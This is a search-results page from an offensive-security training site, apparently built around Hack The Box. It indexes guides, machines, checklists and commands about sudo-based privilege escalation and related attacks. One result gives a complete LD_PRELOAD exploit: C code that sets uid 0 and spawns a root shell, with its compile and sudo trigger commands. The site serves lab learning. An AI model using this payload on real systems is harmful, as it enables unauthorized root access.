Search everything
173 results for «sudo»
Techniques 1
MITRE ATT&CK techniques 3
Guides 14
- Linux privilege escalation: sudo, SUID and capabilities The three checks that give the most roots on Hack The Box: what sudo lets you run, which binaries are SUID and which capabilities they carry, with the usual abuse for each case.
- Reverse shell not connecting or dying: how to fix it Why a reverse shell never arrives, drops instantly or dies on Ctrl+C, how to troubleshoot it step by step, and how to turn it into a full terminal on Linux and Windows.
- Linux kernel exploits: PwnKit, Dirty Pipe and OverlayFS When a kernel exploit makes sense, how to get the exact version, which exploits work in each range (PwnKit, Dirty Pipe, Baron Samedit, OverlayFS) and how to compile them.
- Docker container escape: docker.sock and privileged mode How to tell you are inside a container, what to check and how to break out to the host with docker.sock, --privileged, mounted disks, capabilities or a vulnerable Docker.
- Malicious file upload: bypassing upload filters to get a web shell Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
- OS command injection: detection, blind injection and filter bypasses How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.
- Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
- SMB and NFS enumeration: shares, null sessions and files full of passwords Enumerate SMB and NFS with NetExec, smbclient, smbmap and enum4linux-ng, with or without credentials: null sessions, files with passwords and no_root_squash.
- Active Directory enumeration: users, LDAP, BloodHound and password spraying What to do when you find a domain controller: enumerate without credentials, get valid users, spray passwords safely and collect BloodHound data.
- MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
- Insecure deserialization: spotting and exploiting it in Java, .NET, PHP, Python and Node.js Spot serialized data by its first bytes (rO0AB, AAEAAAD, O:, gASV), understand gadget chains and get RCE with ysoserial, ysoserial.net, phpggc and pickle.
Tools 1
Resources and tools 2
- Exploitable Linux binaries How to get a shell or read and write files with common binaries when you can run them with sudo, they are SUID or they have capabilities.
- Linux privilege escalation Checklist with commands to get root - sudo, SUID, capabilities, cron, internal services, credentials, groups, PATH, libraries and kernel.
Machines 61
- Dog Hack The Box · linux · easy
- Sau Hack The Box · linux · easy
- Meta Hack The Box · linux · medium
- Seal Hack The Box · linux · medium
- Agile Hack The Box · linux · medium
- Facts Hack The Box · linux · easy
- Forge Hack The Box · linux · medium
- Mirai Hack The Box · linux · easy
- PermX Hack The Box · linux · easy
- Usage Hack The Box · linux · easy
- Bitlab Hack The Box · linux · medium
- Blocky Hack The Box · linux · easy
Learning paths 1
Checklists 3
- Active Directory Methodology for a Windows domain: unauthenticated enumeration, first user, BloodHound, Kerberos, ADCS, ACLs, delegation and on to Domain Admin.
- Recon and enumeration What to check when you start any box: TCP and UDP ports, versions, each service and the web surface, before firing a single exploit.
- Post-exploitation and privesc What to do as soon as you land a shell: stabilise it, enumerate the system, escalate on Linux or Windows, hunt credentials and pivot into the internal network.
Guide sections 9
- sudo -l Linux privilege escalation: sudo, SUID and capabilities
- LD_PRELOAD Linux privilege escalation: sudo, SUID and capabilities
- (ALL, !root) Linux privilege escalation: sudo, SUID and capabilities
- Capabilities Linux privilege escalation: sudo, SUID and capabilities
- SUID binaries Linux privilege escalation: sudo, SUID and capabilities
- A custom script Linux privilege escalation: sudo, SUID and capabilities
- A well-known binary Linux privilege escalation: sudo, SUID and capabilities
- Custom SUID binaries Linux privilege escalation: sudo, SUID and capabilities
- If none of this works Linux privilege escalation: sudo, SUID and capabilities
Commands 78
-
sudo version (CVE-2021-3156, Baron Samedit)
Linux privilege escalation › Checks › Sudo, SUID and capabilities
sudo -V | head -1 -
What can I run with sudo
Linux privilege escalation › Checks › Sudo, SUID and capabilities
sudo -l -
LD_PRELOAD with sudo (env_keep+=LD_PRELOAD)
Linux privilege escalation › Exploitation › Library hijacking
cat > /tmp/x.c << 'FIN' #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); } FIN gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c sudo LD_PRELOAD=/tmp/x.so programa_permitido - cp Exploitable Linux binaries › lectura, escritura
- dd Exploitable Linux binaries › lectura, escritura
- awk Exploitable Linux binaries › shell, sudo, lectura
- env Exploitable Linux binaries › shell, sudo, suid
- ftp Exploitable Linux binaries › sudo
- gdb Exploitable Linux binaries › shell, sudo, cap
- git Exploitable Linux binaries › sudo
- lua Exploitable Linux binaries › shell, sudo
- man Exploitable Linux binaries › sudo